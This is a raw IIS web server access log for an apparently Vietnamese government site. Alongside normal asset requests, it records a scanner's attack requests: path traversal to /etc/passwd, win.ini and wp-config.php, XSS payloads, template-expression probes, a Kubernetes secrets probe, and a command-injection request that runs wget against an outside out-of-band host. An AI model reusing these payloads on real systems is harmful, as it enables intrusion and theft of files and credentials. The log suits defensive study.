23520 2023-06-29 15:16:13 103.153.214.94 GET /vendor-es5.js - 443 - 158.51.126.54 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 64 77237 2023-06-29 15:19:53 103.153.214.94 POST /cobbler_api - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 405 0 1 31 2023-06-29 15:19:53 103.153.214.94 POST /cobbler_api - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 - 405 0 1 24 2023-06-29 15:30:39 103.153.214.94 GET /setup.cgi next_file=debug.htm&x=currentsetting.htm 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 32 2023-06-29 15:45:39 103.153.214.94 GET /siteminderagent/forms/smpwservices.fcc SMAUTHREASON=7&USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1847.137+Safari/4E423F - 200 0 0 29 2023-06-29 15:45:39 103.153.214.94 GET /siteminderagent/forms/smaceauth.fcc SMAUTHREASON=7&USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1847.137+Safari/4E423F - 200 0 0 26 2023-06-29 15:51:04 103.153.214.94 GET /wp-admin/admin-ajax.php action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 33 2023-06-29 15:51:04 103.153.214.94 GET /wp-admin/admin-ajax.php action=duplicator_download&file=%2F..%2Fwp-config.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+4.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 28 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 16:12:44 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 16:12:44 103.153.214.94 GET /mailsms/s dumpConfig=/&func=ADMIN:appState 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 566 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 16:29:16 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 16:29:16 103.153.214.94 GET / action=edit&fileName=..\..\..\windows\win.ini&h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 33 2023-06-29 16:29:16 103.153.214.94 GET /source/loggin/page_log_dwn_file.hsp action=download&fileName=..\..\..\windows\win.ini&h=44ea8a6603cbf54e245f37b4ddaf8f36 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 30 2023-06-29 16:34:48 103.153.214.94 POST /dashboard/uploadID.php - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 405 0 1 34 2023-06-29 16:41:10 103.153.214.94 GET /wp-content/plugins/jsmol2wp/php/jsmol.php call=getRawDataFromDatabase&isform=true&query=php://filter/resource=../../../../wp-config.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 39 2023-06-29 16:42:45 103.153.214.94 GET /solr/admin/cores wt=json 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2062.124+Safari/537.36 - 200 0 0 38 2023-06-29 16:46:22 103.153.214.94 GET /crx/explorer/nodetypes/index.jsp - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 42 2023-06-29 16:48:06 103.153.214.94 GET /__clockwork/latest - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 39 2023-06-29 17:02:31 103.153.214.94 GET /Solar_SlideSub.php bgcolor=green&id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 35 2023-06-29 17:06:15 103.153.214.94 POST /api/v1/user/login - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 404 0 2 2728 2023-06-29 17:08:29 103.153.214.94 GET /Setup/index.php/ - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.1916.47+Safari/537.36 - 200 0 0 38 2023-06-29 17:14:05 103.153.214.94 POST /cgi-bin/supportInstaller - 443 - 45.117.82.231 MSIE - 405 0 1 32 2023-06-29 17:28:51 103.153.214.94 POST /install/install.php step=4 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+4.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 405 0 1 39 2023-06-29 17:28:51 103.153.214.94 GET /install/includes/configure.php - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 28 2023-06-29 17:40:54 103.153.214.94 GET / - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 - 200 0 0 257 2023-06-29 17:40:57 103.153.214.94 GET /runtime-es5.js - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1385 2023-06-29 17:41:01 103.153.214.94 GET /polyfills-es5.js - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 3581 2023-06-29 17:41:08 103.153.214.94 GET /styles-es5.js - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 6612 2023-06-29 17:41:33 103.153.214.94 GET /vendor-es5.js - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 24840 2023-06-29 17:41:35 103.153.214.94 GET /main-es5.js - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1043 2023-06-29 17:41:47 103.153.214.94 GET /data-table.eot - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1136 2023-06-29 17:41:47 103.153.214.94 GET /data-table.eot - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 276 2023-06-29 17:41:49 103.153.214.94 GET /data-table.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1089 2023-06-29 17:41:49 103.153.214.94 GET /data-table.ttf - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 275 2023-06-29 17:41:50 103.153.214.94 GET /data-table.svg - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 273 2023-06-29 17:41:50 103.153.214.94 GET /~@swimlane/ngx-datatable/index.css - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 276 2023-06-29 17:41:51 103.153.214.94 GET /~@swimlane/ngx-datatable/themes/material.scss - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 273 2023-06-29 17:41:51 103.153.214.94 GET /~@swimlane/ngx-datatable/assets/icons.css - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 277 2023-06-29 17:41:55 103.153.214.94 GET /77156710-6a58-4606-b189-b4185e75967b.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 3073 2023-06-29 17:41:56 103.153.214.94 GET /3d5260a1-e4cd-4567-80ed-69d23c40355f.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1354 2023-06-29 17:41:58 103.153.214.94 GET /77caabd3-1877-4634-85c8-8e398a093b99.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1627 2023-06-29 17:42:00 103.153.214.94 GET /e388ac99-8c6a-4451-8690-1d15b4d45adb.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1974 2023-06-29 17:42:02 103.153.214.94 GET /014f2daa-c310-4a36-b9fd-79a8e0c48d44.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1638 2023-06-29 17:42:05 103.153.214.94 GET /12b00842-ec20-4c7f-aa72-802fb00f6cc4.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 2478 2023-06-29 17:42:06 103.153.214.94 GET /b0b84e4d-2164-45c7-a674-1662f19f3ba6-basic.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 812 2023-06-29 17:42:08 103.153.214.94 GET /e91d1bbf-3fea-45e2-b003-a22b12ce6e5f-basic.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1364 2023-06-29 17:42:10 103.153.214.94 GET /e78b17bb-11fb-4860-8d66-4ee0d0c1e117.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1660 2023-06-29 17:42:11 103.153.214.94 GET /d4ffabb3-dd7c-472a-bdfb-6700383c6354.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1092 2023-06-29 17:42:12 103.153.214.94 GET /77156710-6a58-4606-b189-b4185e75967b-ext.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1082 2023-06-29 17:42:13 103.153.214.94 GET /3d5260a1-e4cd-4567-80ed-69d23c40355f-ext.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 812 2023-06-29 17:42:13 103.153.214.94 GET /77caabd3-1877-4634-85c8-8e398a093b99-ext.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 543 2023-06-29 17:42:16 103.153.214.94 GET /e388ac99-8c6a-4451-8690-1d15b4d45adb-ext.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 547 2023-06-29 17:42:16 103.153.214.94 GET /014f2daa-c310-4a36-b9fd-79a8e0c48d44-ext.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 545 2023-06-29 17:42:17 103.153.214.94 GET /12b00842-ec20-4c7f-aa72-802fb00f6cc4-ext.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 545 2023-06-29 17:42:17 103.153.214.94 GET /b0b84e4d-2164-45c7-a674-1662f19f3ba6-ext.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 277 2023-06-29 17:42:30 103.153.214.94 GET /manager-manager-module-ngfactory-es5.js - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 54384 2023-06-29 17:42:30 103.153.214.94 GET /e91d1bbf-3fea-45e2-b003-a22b12ce6e5f-ext.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 275 2023-06-29 17:42:31 103.153.214.94 GET /e78b17bb-11fb-4860-8d66-4ee0d0c1e117-ext.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 811 2023-06-29 17:42:32 103.153.214.94 GET /d4ffabb3-dd7c-472a-bdfb-6700383c6354-ext.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1081 2023-06-29 17:42:32 103.153.214.94 GET /77156710-6a58-4606-b189-b4185e75967b-greek.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 541 2023-06-29 17:42:34 103.153.214.94 GET /3d5260a1-e4cd-4567-80ed-69d23c40355f-greek.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 541 2023-06-29 17:42:35 103.153.214.94 GET /77caabd3-1877-4634-85c8-8e398a093b99-greek.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1088 2023-06-29 17:42:37 103.153.214.94 GET /e388ac99-8c6a-4451-8690-1d15b4d45adb-greek.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1413 2023-06-29 17:42:37 103.153.214.94 GET /014f2daa-c310-4a36-b9fd-79a8e0c48d44-greek.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 544 2023-06-29 17:42:39 103.153.214.94 GET /12b00842-ec20-4c7f-aa72-802fb00f6cc4-greek.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1619 2023-06-29 17:42:39 103.153.214.94 GET /a1049d00-54ad-4589-95b8-d353f7ab52f0-greek.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 540 2023-06-29 17:42:41 103.153.214.94 GET /13faf0ae-dcab-4d1c-9c08-f9ca339b6023-greek.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 541 2023-06-29 17:42:42 103.153.214.94 GET /e78b17bb-11fb-4860-8d66-4ee0d0c1e117-greek.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1417 2023-06-29 17:42:44 103.153.214.94 GET /d4ffabb3-dd7c-472a-bdfb-6700383c6354-greek.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 822 2023-06-29 17:42:45 103.153.214.94 GET /174d458a-81e0-4174-9473-35e3bf0a613c.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1081 2023-06-29 17:42:45 103.153.214.94 GET /57a79aa3-9b06-4ba7-a9a4-2b766d826ecf.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 548 2023-06-29 17:42:47 103.153.214.94 GET /7db1f672-3a8f-4d19-9c49-7f61aed450b5.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 1078 2023-06-29 17:42:47 103.153.214.94 GET /4ab86b35-c0c2-42b5-98ad-4b6eba66b197.woff - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 543 2023-06-29 17:42:49 103.153.214.94 GET /b17468ea-cf53-4635-984b-4d930a68ed4d.woff2 - 443 - 45.32.167.223 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.111+Safari/537.36 https://bcvt.kontum.gov.vn/ 200 0 0 541 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 18:03:06 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 18:03:06 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_janews 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2117.157+Safari/537.36 - 200 0 0 49 2023-06-29 18:03:35 103.153.214.94 GET /_nuxt/@fs/etc/passwd - 443 - 45.117.82.231 Mozilla/5.0+(X11;+OpenBSD+i386)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36 - 200 0 0 38 2023-06-29 18:03:35 103.153.214.94 GET /_nuxt/@fs/windows/win.ini - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2117.157+Safari/537.36 - 200 0 0 30 2023-06-29 18:10:46 103.153.214.94 GET /wp-content/plugins/count-per-day/download.php f=/etc/passwd&n=1 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 29 2023-06-29 18:14:32 103.153.214.94 GET /nuxeo/login.jsp/pwn${31333333330+7}.xhtml - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 404 11 0 77 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 18:43:52 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 18:43:51 103.153.214.94 GET /index.php/Pan/ShareUrl/downloadSharedFile file_name=win.ini&true_path=../../../../../../windows/win.ini 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2866.71+Safari/537.36 - 200 0 0 574 2023-06-29 18:44:16 103.153.214.94 GET /index.php content=../../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 31 2023-06-29 18:44:22 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_jvideodirect 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 32 2023-06-29 18:45:08 103.153.214.94 GET /certmngr.cgi action=createselfcert&commonname=anything&country=AA&days=1&local=anything&organization=anything&organizationunit=anything&state=%24(wget%20http://cibehhqofm2ke57n2m2g8mfjz6n19e7pp.oast.live)&type=anything 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 31 2023-06-29 18:53:52 103.153.214.94 GET /pentaho/api/userrolelist/systemRoles require-cfg.js 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/52.0.2762.73+Safari/537.36 - 200 0 0 43 2023-06-29 18:53:54 103.153.214.94 GET /api/userrolelist/systemRoles require-cfg.js 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 404 0 2 2326 2023-06-29 18:59:55 103.153.214.94 POST /appInfo/assert - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 405 0 1 35 2023-06-29 19:09:39 103.153.214.94 GET /version.web - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 55 2023-06-29 19:15:51 103.153.214.94 GET /fhem/FileLog_logWrapper dev=Logfile&file=%2fetc%2fpasswd&type=text 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 32 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 19:36:30 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 19:36:30 103.153.214.94 GET /api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/34.0.1866.237+Safari/537.36 - 404 0 2 2627 2023-06-29 19:36:30 103.153.214.94 GET 